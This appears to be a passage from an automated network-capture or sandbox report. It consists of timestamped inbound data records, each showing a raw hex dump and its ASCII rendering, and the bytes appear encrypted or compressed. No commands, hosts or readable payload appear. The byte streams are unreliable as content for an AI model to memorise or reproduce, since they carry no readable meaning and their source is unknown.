2023-05-30 09:06:51 UTC	91	IN	Data Raw: e3 f0 9e 10 a7 6f d5 14 43 6a c2 66 5c 79 33 92 c9 fc 79 94 ef 24 72 ff bf ed fe 0b 62 f3 09 44 70 d1 e8 a0 cc 4c 88 f1 1b 37 12 93 f5 70 01 0c 1a e0 5e 24 d2 b7 02 2e 09 aa c5 18 2d b4 3e 23 7c 18 1a 7f 3f 9f 19 06 b8 54 5c fc 4f 4c fa bf e9 f8 5f 6b f3 ee 9e d3 bb 41 9d 34 ba e2 a5 8c ba 04 2c a7 95 b0 1c 4a 73 b9 00 00 0d 0a c1 2a bd c5 29 73 34 09 07 03 61 65 8f 25 b9 c6 bb 9f 76 c5 a6 81 45 37 f7 26 f1 b8 bb 5e 4a 3c 12 95 31 0f c3 1f 2f d4 59 2a d0 95 e4 0e a5 3c 05 5b 58 3a 31 fa fd ab 81 70 e1 26 9c 69 fc 8f 4d 36 34 1d 7a 86 d6 ac 14 78 e1 04 66 4f 24 00 7a d7 e8 df be 36 13 f9 d9 e6 4c 19 12 c3 b8 8c bc 54 c5 19 ee 14 1f dd f5 1c db 15 18 4f 8a 4c 91 c4 4d f6 3c 53 9b 5a 58 ca b4 23 4b 3b f8 53 0d 22 45 9d fa a1 9d dc 4e 2d 55 52 96 41 d2 6e 38 Data Ascii: oCjf\y3y$rbDpL7p^$.->#\|?T\OL_kA4,Js)s4ae%vE7&^J<1/Y<[X:1p&iM64zxfO$z6LTOLM<SZX#K;S"EN-URAn8
2023-05-30 09:06:51 UTC	93	IN	Data Raw: 6a 1c 04 e1 83 5c 15 ee 0c 9c 1d 8c 29 a3 79 73 43 8b 87 67 c8 7e 98 e6 53 8f 5f 18 9b d7 1a 8c 9d 05 25 5e 06 de f5 7c ac cd a8 fb 81 91 b1 df b8 ee c0 9c 80 37 02 39 fe e2 3c 0a 12 26 d5 ca 4a 4f 80 85 07 fa c1 0b 92 b1 dd 66 51 43 29 e4 30 b3 b8 02 3d 00 43 21 ea eb ae 9a 36 0b 79 a8 c3 b1 b2 b1 df c7 d1 c7 6f 9c 01 91 b0 4f 9c f5 4a 8b 6d e3 f0 df d2 65 aa f8 60 d4 ba b3 5f 71 74 02 50 69 32 3b 20 5d 04 be 39 36 67 ac cd 4b 0a 7e 6c 9c 8f aa 1d 30 bb 41 2f b1 aa 72 77 e7 aa a7 9c 7b fb 50 0a 1f 7c e8 5c 39 05 14 a4 5b df c6 48 89 78 f2 a0 be 55 73 a5 4a 72 78 f3 71 3e 34 58 a6 71 ad 26 9d 76 6c 2c f3 be b7 67 14 e0 92 49 0c 74 af 62 6c 56 c4 0e cd 56 32 c9 3e 37 dd 5d 20 1b f9 6c 0d d3 21 40 ec 3a 79 64 e7 66 41 bd 4d 1d 9b 15 44 47 97 c3 e6 7d 79 81 Data Ascii: j\)ysCg~S_%^\|79<&JOfQC)0=C!6yoOJme`_qtPi2; ]96gK~l0A/rw{P\|\9[HxUsJrxq>4Xq&vl,gItblVV2>7] l!@:ydfAMDG}y
2023-05-30 09:06:51 UTC	94	IN	Data Raw: ff 74 b8 d0 d4 db 0d 7d 77 aa 47 22 02 1f 7c 72 53 44 33 43 6c 51 98 38 e1 87 ae f4 16 c4 a9 f7 0c 5c 1f d4 55 02 9b 0a 8c 8b 95 00 59 f8 bc cf e7 a5 1b 4e 44 5c 56 0c 1c 99 30 6d 42 0b 97 77 3c da 8a 66 35 b4 b3 18 35 db a7 a1 8b 78 f0 c7 0d 10 64 24 4b a9 6b d1 ad 91 18 e3 39 5f 8f 17 98 c0 a0 4c cb 97 f6 3d ef 40 44 08 98 e8 e9 94 ee b1 f8 e7 94 9b 1c f3 8e 33 2e 9a c4 af 0c aa 60 9c b7 86 ab 35 b2 cb 85 e2 b8 15 64 68 bc 01 95 65 76 d2 54 44 33 97 9a b3 dc 71 38 ac cc 4b 8d 52 1e 10 ed ad a9 fd ae 73 7c c9 70 4a 6a 8a db 79 0b be 59 f0 7e 1d bb 45 03 ea 36 47 2b f4 6f 4b 08 9b 36 c3 c4 bb 65 ec a9 6d aa a4 9c dc 3d 61 52 72 fb dd 80 0b 30 52 8c 0b 25 1b db ef 54 78 1d 7f 65 77 00 8e 69 a9 2a 4f 2e e9 89 b1 76 24 d6 92 37 32 80 b4 6d 54 0e 45 dc 92 73 Data Ascii: t}wG"\|rSD3ClQ8\UYND\V0mBw<f55xd$Kk9_L=@D3.`5dhevTD3q8KRs\|pJjyY~E6G+oK6em=aRr0R%Txewi*O.v$72mTEs
2023-05-30 09:06:51 UTC	95	IN	Data Raw: c4 9a 50 d3 26 d3 2b 90 43 13 79 0c e0 d7 00 5c c2 a5 b6 b6 0d 0d 00 c5 be fd 86 18 60 40 4a ba 43 71 1e 82 31 4f 1c 85 1a e6 47 28 4b 2c 6d 13 4e 03 df e6 37 78 ef 9f b5 34 64 de d0 1d ea 4e a7 82 3c a8 17 10 a2 7f 14 0a aa a5 9c 47 ea 1e 3f 22 da 40 80 ce 33 31 c0 5e 3d 81 92 9e 42 33 ef fc 5d 86 e5 68 91 13 6e 35 48 c0 47 e0 a9 34 95 90 e0 36 1f 98 b8 5b 8a 5d 92 4e ad e8 c4 16 60 40 c9 2c c9 b3 26 b7 f4 7b c6 07 67 8e c0 8b 36 25 2c bf 2e b5 18 8f eb 84 9c 36 99 86 32 1e 64 1c 8b 0a 56 2c fb b9 4a b2 90 70 06 89 d5 e7 fe 1a 10 93 ec 76 6f 8c 53 2d f7 b6 41 98 4f bd d8 75 32 67 36 97 c3 8a 98 13 e4 1f 97 91 1b 34 33 03 bb a5 1d f9 7d f1 ba 17 ee 65 f3 d0 12 97 8a 71 60 cc da 8c 8e d7 ee da eb a8 b0 c1 e2 3b f2 c8 18 df ae 83 bf ba 96 e6 15 fb f3 bc 30 Data Ascii: P&+Cy\`@JCq1OG(K,mN7x4dN<G?"@31^=B3]hn5HG46[]N`@,&{g6%,.62dV,JpvoS-AOu2g643}eq`;0
2023-05-30 09:06:51 UTC	96	IN	Data Raw: fc 5f e0 21 61 91 45 c3 b5 8b ed 04 f3 7c 2d 2f 72 ba 58 ed 2c 28 a9 e2 c1 29 e0 99 c5 a5 0e f6 9a f3 39 a2 49 98 85 c0 8e ff 08 f7 f8 53 a4 fb f5 d0 b6 9a 80 a7 12 57 89 0a bb f6 28 63 c4 9c df 34 b4 ba 03 f4 4e 29 16 40 af 81 7c 5c c8 99 51 0b b8 50 cd ee bf c3 6f 61 d2 56 17 07 97 ce 01 e0 8d 11 65 06 27 92 51 46 2e 8c f2 5f 54 c2 2d 10 bc 75 de f4 d2 2e 21 4a 9d be 81 cc 00 ae 66 7d 94 50 94 ae 84 89 c5 01 0c 6f 3d 8e bf f6 32 90 56 f9 b6 80 af ec d5 af 7c d8 db 1c 9e dd ae 92 fb 93 b6 dc d4 a5 10 e7 a1 46 3f a4 60 59 0f 28 b9 e5 97 95 9d b2 6a ee eb 32 4a 7b 3a e4 3a 2f 83 6c 22 f7 2b 2f 6c 0c ef 09 63 49 5a 6b d2 a0 5d ed 9b 45 f9 2d 9b a9 ba 1d bc e2 a8 d4 5e 1c f4 6b 59 ae 15 cc f3 30 9c 45 79 c6 84 44 50 5d bf 55 67 bf 71 a4 13 4a 2a 0f 14 28 36 Data Ascii: _!aE\|-/rX,()9ISW(c4N)@\|\QPoaVe'QF._T-u.!Jf}Po=2V\|F?`Y(j2J{::/l"+/lcIZk]E-^kY0EyDP]UgqJ*(6
2023-05-30 09:06:51 UTC	97	IN	Data Raw: e3 70 c2 2a 4c 8a a7 2b 9f dc 70 24 2b 75 9d ba 92 8b 78 20 7b 63 7d ee 2e b1 11 3d a6 84 a7 b6 f4 40 8b b8 24 c9 00 02 28 bb bf 90 75 7d 0b 83 0c f0 c4 4c 02 63 69 a0 fe 89 8b 51 97 67 68 60 4a fa c8 4c b5 04 0a fe 81 39 11 4e 32 31 de 5d fb c4 e2 bb 0f b8 cb 17 3e 9f c1 a6 02 b3 b5 db ac 24 32 45 51 ce 68 16 65 59 7d 97 Data Ascii: p*L+p$+ux {c}.=@$(u}LciQgh`JL9N21]>$2EQheY}
2023-05-30 09:06:51 UTC	98	IN	Data Raw: 47 24 a6 33 6a b6 16 e1 52 e2 6d 17 2a 86 70 45 6a 3c e8 2e 36 d0 66 84 18 a0 4c 88 df 78 2f 7f 4d c7 f8 45 d9 23 8e 9a ce 01 c9 06 6e d4 3a d3 e1 40 56 c8 63 ed d5 01 ba ad 9f 0d 8f 35 2d 4e e7 02 dd ae 8d 19 7b 5d 23 8a 91 70 0c cc fc 23 c9 91 34 00 1d e5 a1 f0 88 d4 a5 0c 20 3d 44 3a d8 65 0e eb 04 1c dc de ba 1c 0f 13 3e d8 e1 54 3e de 92 6c 23 fd c9 c0 41 74 72 e1 2b 12 de 75 65 1b c4 50 9b 36 60 52 49 30 2e 17 53 de 9d 7f 2e dc 46 e8 16 e5 19 eb ea 6f 3b ae 9f 7e 44 ba 01 70 9d 78 81 aa cf 58 3b 5c 88 11 87 54 e0 ba 83 c6 9e 02 1b 37 ae 78 36 26 66 61 8e 1f 13 fc c6 07 d8 0b 6b 73 93 3a 1a 5b ae 46 70 62 5b 06 10 57 a5 68 51 b5 c8 7a 1f 6d e4 a9 bb b9 c9 9b bb 6f 3a 03 34 dd ad 29 a2 11 45 b1 4b 6f f6 b6 85 25 e3 01 da b4 fd 40 42 ab 78 83 19 dd e3 Data Ascii: G$3jRm*pEj<.6fLx/ME#n:@Vc5-N{]#p#4 =D:e>T>l#Atr+ueP6`RI0.S.Fo;~DpxX;\T7x6&faks:[Fpb[WhQzmo:4)EKo%@Bx
2023-05-30 09:06:51 UTC	99	IN	Data Raw: 61 03 f6 16 6a 18 5b 0b c6 43 dc 0f 0c 17 e5 38 26 49 02 55 0e df f0 6f 93 24 20 33 cf 9b 0e 9d ee 83 ed 8c b1 c9 a9 f2 6e 2c 44 3a 45 88 52 0b 7b 08 a5 f6 79 87 4a 83 0d ae 8e 87 ab 1a 57 03 91 23 76 45 4f 2b 35 53 e7 35 96 04 13 d4 4e fc 7f c6 03 1d db 39 70 24 a2 db 4e f2 f4 ad c0 1e d1 ac d4 a9 95 ad 3d d0 13 1b 99 77 95 24 7e 64 06 8d 92 ee 2f 88 91 d1 68 a7 8e 6d 2b 44 da 3a 07 35 38 37 8b bc 71 85 9b 79 46 cc af 51 65 c9 d2 04 14 e1 89 cf 80 96 24 fd c6 b4 1f d9 bd 1a cb 0b f4 d6 fc 1a 7d eb 05 6f 0f a1 71 c2 d0 ef f8 fb ad b9 21 24 1b 17 2a 5b 92 04 5f 72 26 23 64 98 20 bd 50 10 61 20 1a dc 90 a4 c6 9b a5 82 a5 5b 59 8f 76 03 78 21 5d bb 23 19 91 38 4f b0 ae 2c ef 5d 5f 41 69 ca 8d b0 a2 24 11 ca 5b 20 62 86 f3 40 4c bd c1 39 35 55 df 13 ad c2 29 Data Ascii: aj[C8&IUo$ 3n,D:ER{yJW#vEO+5S5N9p$N=w$~d/hm+D:587qyFQe$}oq!$*[_r&#d Pa [Yvx!]#8O,]_Ai$[ b@L95U)
2023-05-30 09:06:51 UTC	100	IN	Data Raw: 24 eb 21 a8 06 44 09 d5 7f c8 5d 1b 60 c5 14 c6 b4 51 dd 7c 13 b4 b2 cf 1a 72 02 2b c2 b8 6c 7d 6c f8 5c 79 57 ce 85 55 63 41 2c 92 4f 10 14 d5 7a e0 e6 b0 bb 59 73 77 7e 9f ec ed b2 c7 7a 1e a6 52 7b 19 41 6b 13 b1 18 d4 09 b3 c9 88 71 8b 14 3f c5 8c 00 08 40 85 c6 c2 c0 b2 87 b7 be e3 44 0e bb d1 cb 22 05 02 f7 bd c6 fa a9 5d c8 28 ec ba 25 d0 e9 73 d1 6e 02 62 32 16 95 83 a0 76 20 b5 4f f7 0e 77 11 fa dc 81 2b 69 20 39 f4 02 bb a5 f2 6e 8b 11 4d 7e e3 99 76 c9 40 af d9 cc e6 e4 50 e1 93 56 67 3b 84 4c 96 5b 2a d6 42 77 a2 bb 9c b5 c4 00 7a 67 9b c5 76 19 cf b1 b2 f4 14 72 48 b4 a8 56 40 51 e1 ac 23 ad a8 91 13 c1 5c 99 65 0b 41 46 e8 22 84 39 a5 3e b5 92 c2 df 6f ab f1 05 2b 37 0e 75 09 61 21 f4 3d d2 8f 71 14 3a 31 28 e1 dc 2a 8f 8e b7 67 94 e7 59 16 Data Ascii: $!D]`Q\|r+l}l\yWUcA,OzYsw~zR{Akq?@D"](%snb2v Ow+i 9nM~v@PVg;L[BwzgvrHV@Q#\eAF"9>o+7ua!=q:1(gY
2023-05-30 09:06:51 UTC	101	IN	Data Raw: ef 82 62 be 60 61 a3 86 3c 9c f2 e3 83 64 af 7a 53 f6 3a 81 19 f4 12 b1 c8 99 38 5d 21 a8 8b 99 f1 50 8d 72 aa a7 36 18 cd ae 95 c2 b2 d2 b4 4d c7 dd c3 71 17 dd 1b dc c9 34 74 94 1d 6d 39 7d 84 04 fc 03 15 74 09 18 f1 0e ef 48 b8 39 ce 4c f0 56 c6 af f2 9f ca ce 96 d9 f9 52 04 4f 3f 77 49 1c 8a f8 7f b0 c1 04 42 76 1d 33 13 8f 7d e3 3d 69 9f 8b d1 ba 99 98 2c 0e d3 1a 3d 07 13 62 fd 31 9f 40 41 82 51 41 85 3b 76 55 55 d3 8c 21 b7 2b 3c b6 ae 6d 40 eb 6d d1 f5 f4 d2 a9 b8 ef dc dd d4 56 2c bc 5e 05 d4 4d 68 64 cb 6d dc fe 61 b0 38 a6 01 ab 6d 38 89 c6 74 1e d3 ec e5 fa 19 31 36 7b b5 53 29 52 4d 92 ec 4e 97 0f 37 10 97 e9 90 1e cf b6 c8 fe c7 bd d5 0e fe 57 c0 35 c4 33 0c 8e 7b 49 42 d6 ba cc ca eb aa 73 4d 15 09 82 f0 73 66 dd 77 38 ce b7 64 ed 59 a3 22 Data Ascii: b`a<dzS:8]!Pr6Mq4tm9}tH9LVRO?wIBv3}=i,=b1@AQA;vUU!+<m@mV,^Mhdma8m8t16{S)RMN7W53{IBsMsfw8dY"
2023-05-30 09:06:51 UTC	102	IN	Data Raw: fd 73 da d9 35 35 71 bb 28 1c ed 12 25 fb 6b 8a 46 65 45 b2 97 97 ad ef c9 98 72 d6 10 22 87 b4 c7 b0 d6 4e 1b 25 85 7b 22 92 b2 e8 cb 25 19 0a 86 78 f0 ea 46 3f c5 0b 94 d3 57 e4 0e bb 65 54 9f 3b 51 a7 0c a4 68 92 a7 90 83 9f 42 fc 32 65 4f 9d ec a9 92 df 74 96 55 08 ea d8 68 da 6c 62 c1 e6 f9 87 1c 1b da f7 ca 22 53 bc 13 91 20 ae 87 50 12 3c 8c ad 93 b4 44 50 87 49 9a 8f 18 10 35 47 d4 e9 51 9f 90 ed de a8 4d d2 3e 32 a7 a8 51 90 a4 92 90 ea e4 a6 78 24 7c ae f6 3d ae 4c 36 40 42 e1 c4 fb 04 8d 2f cb 8a 2c c7 e6 b0 fe ab 26 d6 16 71 1a e6 05 7b 58 65 fa d0 e7 a8 f1 f9 f5 85 62 5d 63 0a 78 7b 5e ea 1d e0 4f 0a 61 1a 47 31 4d e1 36 7e e6 d9 3a 33 63 88 17 ef 31 2a 69 27 1a 55 89 3b 09 06 bf cd 49 a5 72 0c ca c0 c6 d7 9f be 33 8b c8 05 3d 3b 7b a7 09 3f Data Ascii: s55q(%kFeEr"N%{"%xF?WeT;QhB2eOtUhlb"S P<DPI5GQM>2Qx$\|=L6@B/,&q{Xeb]cx{^OaG1M6~:3c1*i'U;Ir3=;{?
2023-05-30 09:06:51 UTC	104	IN	Data Raw: 21 eb 45 58 50 51 87 70 a4 4e 90 b9 e4 55 99 11 83 95 f1 a2 da 61 53 a2 ab be 5b 7a 89 c3 13 c3 32 b1 b5 44 2f c2 3a a8 04 ba 50 43 b6 fb e3 d1 8c 47 e7 e8 e7 3e ec 4d 59 f1 3f cc c3 26 67 b3 1f ef 00 ff fa db 49 83 87 43 61 47 b8 96 1a 37 d0 59 23 75 2a a9 e4 e0 b2 de 8d 56 7a c8 9e 57 71 6a 6c c7 8b ce ca 7f 2a e2 28 55 ac 32 a5 3c 56 71 1d d8 75 9e 37 55 ec b8 40 5b 4c c2 dd bf 93 f7 d9 d6 22 3a e9 d9 40 2c 3f d9 86 b7 7c 2f 27 b6 93 47 56 b6 de 54 05 a2 82 36 64 1c ee c7 4d d9 b5 54 3d c1 b3 77 53 a3 09 4d c1 7c 6e 88 f2 86 1a 55 7f 6c ba 54 bd 0f 4b e7 c0 ee 5d d1 72 ff 7a 64 db f9 19 af 00 eb 93 90 1e d3 70 72 ab 1d 26 f2 42 81 df f9 d3 0d 98 dc 2a 81 2c 32 2c 8e c5 f2 2f d4 e3 16 a0 ce 03 c9 c9 3b a0 bc 80 ee 39 40 88 b2 fb 90 0f b8 a0 78 18 c7 84 Data Ascii: !EXPQpNUaS[z2D/:PCG>MY?&gICaG7Y#uVzWqjl(U2<Vqu7U@[L":@,?\|/'GVT6dMT=wSM\|nUlTK]rzdpr&B*,2,/;9@x
2023-05-30 09:06:51 UTC	105	IN	Data Raw: 99 20 38 86 d6 98 60 92 64 b5 27 d5 00 34 f3 22 cd 3c 54 ba 5c 32 17 f1 cf 9a f3 55 4d 45 66 be 2d 6a 6f e2 88 e0 e4 36 34 6b 6b f2 7f 87 1c 56 0d 73 58 24 e6 a7 92 0b 62 84 38 d1 75 ea a7 5d 8e 0e 62 a5 1b 82 f4 b2 59 1f a2 9e 2d a3 3e 8c dc 2f c5 8c d7 3a f6 b9 40 80 a5 e5 0c 6b a0 4f 04 3f 5e f9 bf f3 17 1a 21 e8 34 39 85 6b 60 88 84 68 37 0d 1f 69 8e 15 1a 35 c4 c9 e5 0f 9b 65 2f 45 0f b8 d3 c8 4b a0 57 30 bc 7a dc 4f 12 1e 60 dc cd b5 f7 a1 10 5c 40 af 5c 34 ab f8 d2 a3 7a 22 42 04 44 56 4e 78 85 48 1f 98 53 ba eb 38 e4 61 00 4b 22 b9 bd 82 96 b1 fe 26 c3 93 d7 06 3f 87 be b8 31 7e 84 2a a4 85 03 16 18 c6 f1 94 dc ba 9f f9 ac e2 c7 cc 4f d2 26 ed 2c 9f 3f 30 55 60 41 81 a4 2a e6 bb 5b 55 76 b3 2a 3d 08 32 38 17 8c 0b 1f 14 8c 83 80 f7 c0 40 92 0a 2a Data Ascii: 8`d'4"<T\2UMEf-jo64kkVsX$b8u]bY->/:@kO?^!49k`h7i5e/EKW0zO`\@\4z"BDVNxHS8aK"&?1~O&,?0U`A[Uv=28@
2023-05-30 09:06:51 UTC	106	IN	Data Raw: 87 4b 33 44 ce de 75 05 ec 92 2c a3 45 da 0c ae aa 36 7a 01 1d 81 e1 4a d1 0f 1a 06 c9 3e cb 44 48 c2 74 7d c6 a6 bf d6 53 06 80 51 24 95 49 e8 be 73 d9 92 e7 9b 6a 4b 25 b3 b0 08 bb bf e8 84 4c 2b 1b 44 cd 38 77 74 fe df ad 28 6f 9b 14 a6 b8 fd bc 46 5a 4f fc ec b1 48 1f 78 8b 02 15 2b 2a a1 39 93 f8 da 88 f8 c1 27 fd f3 87 0a 7b b8 4a ba c7 3b 13 6d 12 51 ca 9e e6 64 25 25 1f 89 a3 72 c1 45 5c c8 a5 a3 02 21 a8 a3 08 c2 76 54 e8 d4 3c 57 0b 8d 16 7f f7 30 21 f2 7c 40 d3 c8 25 28 83 36 bd 31 74 92 7c dc 46 ae 4c be f5 1b 52 75 1a 3d 98 84 19 1e d9 8c 24 66 84 ef b7 2d 18 78 ef db 0d f4 5c 5e a5 19 ac c0 d5 b4 b5 2e b2 b9 5a d5 df c3 cb ef 7f c7 ff b4 df e6 12 6d 17 e2 ee f1 e5 e3 c0 e3 62 ff 1e 26 4a 53 da 83 48 8b e5 f5 ab 1d 0e f0 d2 bf 02 cb 64 5f e0 Data Ascii: K3Du,E6zJ>DHt}SQ$IsjK%L+D8wt(oFZOHx+*9'{J;mQd%%rE\!vT<W0!\|@%(61t\|FLRu=$f-x\^.Zmb&JSHd_
2023-05-30 09:06:51 UTC	107	IN	Data Raw: dc 90 84 50 71 d9 c0 68 bd 7c 35 5f c9 71 b4 62 19 41 c7 35 83 0e 68 4b 7c 82 6a 2e 2b 03 74 9c fa 43 09 93 c0 f2 15 6b 83 91 76 8e 75 e8 46 30 76 37 0c 6e f4 2e 6e fb a4 57 59 b3 3c ea c6 00 ef e2 b3 eb a3 dc b2 71 69 85 9e 46 3d 48 75 ad 72 9a d9 7b 1e 3e cb 97 f7 bc 9b 1c 78 c9 4c 91 09 67 db 9f fe 13 b8 ed 7f 2b 01 0a 73 e1 90 51 43 b5 1e 94 5f 26 63 9f 6c ee 32 eb eb 5c 71 2b c5 0d cd b0 28 dd 1f b9 35 d2 24 ab c9 cf 03 97 fb 20 a6 7c b6 ad 38 3a 2e 6f 57 f9 94 61 04 7b a3 9b bf b7 67 81 75 66 bd 0c 29 92 d7 a7 e5 05 55 9f cb 2e 6e 17 1f ce a9 1b 9e 56 64 af f3 5d f0 1d 64 64 7d 52 b5 fd 3e db 08 ec 45 e1 f4 a2 71 94 56 65 6e c7 0f 6b cf 22 51 e7 60 8e 8b 2d 8b 3b cf 47 e4 f4 10 7b fd ec 98 52 93 7c 05 57 34 f5 28 34 b7 70 43 d3 97 db 28 a4 c9 9f f5 Data Ascii: Pqh\|5_qbA5hK\|j.+tCkvuF0v7n.nWY<qiF=Hur{>xLg+sQC_&cl2\q+(5$ \|8:.oWa{guf)U.nVd]dd}R>EqVenk"Q`-;G{R\|W4(4pC(
2023-05-30 09:06:51 UTC	109	IN	Data Raw: c1 dc d6 ed 82 4b 96 a5 c3 76 3e e2 53 ea 37 0c d7 be 83 4b 5a 03 e2 05 3d fd 68 ae 0d 9b 7a 37 89 4d 47 c1 2a cd 0b 8b 48 0d 68 c5 af 38 ed f4 89 10 dc 22 b5 d3 51 9e 0c 55 a9 47 68 e3 c1 90 14 b4 40 81 94 f2 f7 d3 f2 20 2f 3d 69 98 1f 50 31 59 c2 f0 56 9f 2c c6 b7 b2 6a 19 85 d5 4f 25 cf 42 82 2d 2f c7 5c 96 39 70 b3 32 69 40 23 5e 1d 6a 70 76 90 c2 86 8a 02 ea e4 43 2c 0a 05 a6 b8 48 3a 09 40 a2 e3 32 79 f0 59 73 3d 07 bd 27 29 28 09 b3 2f 58 9c 63 69 a2 4d 7d 97 29 6f 87 24 54 0e b0 0f ed ec 5f ac 3a 3a 6f a3 6c 3c de 16 c0 5a 1e ec ca 2f a6 e7 1f 04 c6 8d a3 57 b6 df f5 20 77 70 1b df 8b f3 20 f3 3f 29 b7 c4 00 a1 ff b5 52 d9 d3 93 e5 59 30 ad 97 92 e3 ff d4 e7 f0 c7 5f 91 f7 40 76 b7 e5 64 1f 77 7c 7c 8a a5 44 0f a9 70 94 04 cc 5d 90 a5 01 04 fc bd Data Ascii: Kv>S7KZ=hz7MG*Hh8"QUGh@ /=iP1YV,jO%B-/\9p2i@#^jpvC,H:@2yYs=')(/XciM})o$T_::ol<Z/W wp ?)RY0_@vdw\|\|Dp]
2023-05-30 09:06:51 UTC	110	IN	Data Raw: d4 28 a9 5d 1e ab 1b c3 82 81 12 90 27 f2 d7 dd 2e 47 c7 38 00 0e 38 81 4e 69 53 e3 58 13 bc e4 54 30 d1 cc bb ba f8 0a 79 67 e6 cc b5 5f 3f f4 49 47 37 94 b1 3e 11 7f 16 6d b3 47 e5 a5 dd 37 b6 7a 39 f7 7c c7 42 ae bf da 7e 6a f4 4b 25 70 ad d6 12 f8 80 5e e8 06 0a 64 1e 7a 7c bf 0c d5 8a e4 e9 70 c9 7d 42 cc da 2f 29 35 48 de 46 94 89 45 f3 7c 6b 6a 5b e3 38 04 72 63 c9 db 21 ad a8 00 d0 58 65 db cd 10 c9 79 ac 18 1a c0 ce 41 8d f8 f2 13 ba 15 9e 44 fc 38 23 72 f9 11 3d ea a5 b6 07 c9 a3 20 de 5a 26 d1 11 15 3f 74 ed da 24 63 a6 01 74 96 52 00 87 8e d0 ef db 8c 46 66 ab 97 7f 3b 12 33 6f 04 ca e2 c3 1a b1 41 d0 19 2d 42 a9 9d 6d 9c 71 30 71 e6 0a b3 6b 8c 9b 6d b9 64 de 3c 8d 46 68 35 98 28 78 f3 09 69 a8 63 59 87 0c e3 a4 60 1b 50 ca db 9c 69 b7 0f 68 Data Ascii: (]'.G88NiSXT0yg_?IG7>mG7z9\|B~jK%p^dz\|p}B/)5HFE\|kj[8rc!XeyAD8#r= Z&?t$ctRFf;3oA-Bmq0qkmd<Fh5(xicY`Pih
2023-05-30 09:06:51 UTC	111	IN	Data Raw: 06 28 2b 2d 34 07 b0 8f 26 51 14 7d 80 d8 28 7c 90 de fd c9 41 bb 66 c4 10 15 ae 9f 0b 3e 60 64 8d 5d cc 5e c6 10 51 2f 71 5b 04 39 35 8c 69 ce 04 4d 76 52 b5 65 c4 a2 24 51 af b3 0e 77 e6 9f ba 81 e4 42 30 88 06 a6 85 f0 9b 3a 8f 04 61 75 66 7a 06 a8 ea 34 4e 55 85 4b 4e be 10 15 8e 7d 6c f4 5d cc 61 4d 52 1a 20 49 bb b3 b3 64 47 b5 6c d7 84 55 dc 86 99 2f 40 c4 8c 47 4b dc 31 97 9c 79 3d 29 93 8f a5 8e 28 9b 6d 9f eb 92 98 ec f5 75 2f 21 c5 13 63 a8 8c 3e 25 fb 7a a7 ec d5 a1 ed f8 5d a8 c1 b7 ed 09 c7 d8 b8 68 cb 29 ae 32 e1 f2 d5 e4 be b9 77 51 d7 a2 78 23 00 07 ad c7 57 0a a0 00 ef f6 59 ed 71 5b 83 c5 2d 89 00 ce 8c e6 1c ea 6a 0a 9b a1 32 41 e0 91 9a 94 f2 8f af 2f 96 fd f7 a9 53 55 20 26 5e 33 dc e9 f2 2e 8e 3c ae 4f 56 56 06 a0 72 30 fe 4f af 3f Data Ascii: (+-4&Q}(\|Af>`d]^Q/q[95iMvRe$QwB0:aufz4NUKN}l]aMR IdGlU/@GK1y=)(mu/!c>%z]h)2wQx#WYq[-j2A/SU &^3.<OVVr0O?
2023-05-30 09:06:51 UTC	112	IN	Data Raw: 6d cc 75 b4 26 8d bc a2 62 de 8a 61 9b 87 f1 fa 4b f8 ee 5a 65 74 73 8a b3 96 0c ec ad 79 9f 10 77 93 19 2f b8 fd ff 71 92 f4 2e d6 43 89 9f 72 df 92 8d c3 16 ae cd aa 58 52 94 bd 51 d5 ec c2 35 7c 7f be af a0 5b 06 bb 53 61 5e cd 51 ab 23 05 5c 10 19 26 b5 2a 6c ee 6e 02 27 62 13 8a dc 80 07 97 f2 ee eb 5a f1 ae 79 42 49 a9 80 83 b6 05 94 a7 da 3b 6a 50 8e 8f 11 7b 6c 95 34 4c 60 39 5c 98 7f 29 f8 c2 4c 88 a4 08 05 e2 af 1f 0c 06 9a b0 ec b8 b2 41 d3 3e 52 6e 24 83 4c 19 47 19 eb 40 ca 9e 82 ee 5d fb 0c 8c 46 dd 5d 82 e7 4f d3 f8 49 58 16 19 c4 c3 5d 73 ea e6 ed 6a 7b 5b d8 8e 40 e4 9d 0c ed c2 60 83 36 a9 ed d6 90 57 b2 10 89 49 95 09 c3 fb 0b 21 02 43 ec d4 ee 2c 56 dd a3 c6 ea b7 e4 8d e7 67 65 c3 c4 d2 40 09 39 cb 7a ef a1 7c 2d 2e fd 07 9c 08 59 26 Data Ascii: mu&baKZetsyw/q.CrXRQ5\|[Sa^Q#\&*ln'bZyBI;jP{l4L`9\)LA>Rn$LG@]F]OIX]sj{[@`6WI!C,Vge@9z\|-.Y&
2023-05-30 09:06:51 UTC	113	IN	Data Raw: f1 2f 5f e5 30 d0 e5 6b 9f ec 84 f3 98 29 46 61 08 be 5d 33 f5 ba dc 01 6f f4 68 9e 22 d5 0b 28 03 1e fa 5d e7 00 a6 92 59 09 ca 59 1b 88 b3 14 6f 45 a3 41 bf 1e 37 36 65 71 b9 b1 55 33 9c 65 9a 04 13 16 d6 e8 d6 d9 3b 34 56 16 b7 cf 31 29 70 12 2f 23 49 6e d9 30 5c 4a 96 15 99 ee 25 c8 f8 3d 40 80 d2 aa 8f 3d 66 9b 06 f5 Data Ascii: /_0k)Fa]3oh"(]YYoEA76eqU3e;4V1)p/#In0\J%=@=f
2023-05-30 09:06:51 UTC	114	IN	Data Raw: a8 91 ff b1 d1 de d3 72 93 c9 db a2 63 a0 de 78 73 0e 88 a0 30 2c af 7b f2 4d 01 b6 21 36 29 d2 75 d1 e5 fa 2e 51 92 28 a7 c1 bb da 69 ae fd a5 a9 24 de 79 97 b3 b3 e0 e8 0b bd f4 03 e1 c3 a3 8d b2 ec 3a 61 12 a6 6d 57 f3 9f 31 df 71 90 5c b8 ed c8 35 44 5d d1 fc 0b 82 f8 51 16 0e 86 fa 29 d8 c1 da b9 06 9a d4 72 41 b2 14 76 71 0d e7 72 c1 7a df 21 cb d2 1c 90 df ca 0d 54 bf 9d 6a 0c 41 03 d5 4b 00 18 49 d6 c6 dc 00 fb db 25 0d 90 10 18 8d 22 87 69 9a fe ab 59 f3 c8 e6 7e 9f 4f cd 02 dc 4d 08 ff a7 d5 a9 a2 98 6b 1e e9 33 b6 e3 cf 14 a2 10 db 60 73 c5 ec a2 6f 27 ac b6 a7 66 f8 09 19 60 9a b3 cf 87 4a 7e c3 40 d9 04 00 fa f8 7f ff 41 69 75 63 e7 48 06 89 9b c8 3f 17 2c 36 18 2a b5 69 fc 6a 84 83 15 df 05 86 d8 79 75 d1 a9 88 9d 52 17 42 cd d8 cf da 60 55 Data Ascii: rcxs0,{M!6)u.Q(i$y:amW1q\5D]Q)rAvqrz!TjAKI%"iY~OMk3`so'f`J~@AiucH?,6*ijyuRB`U
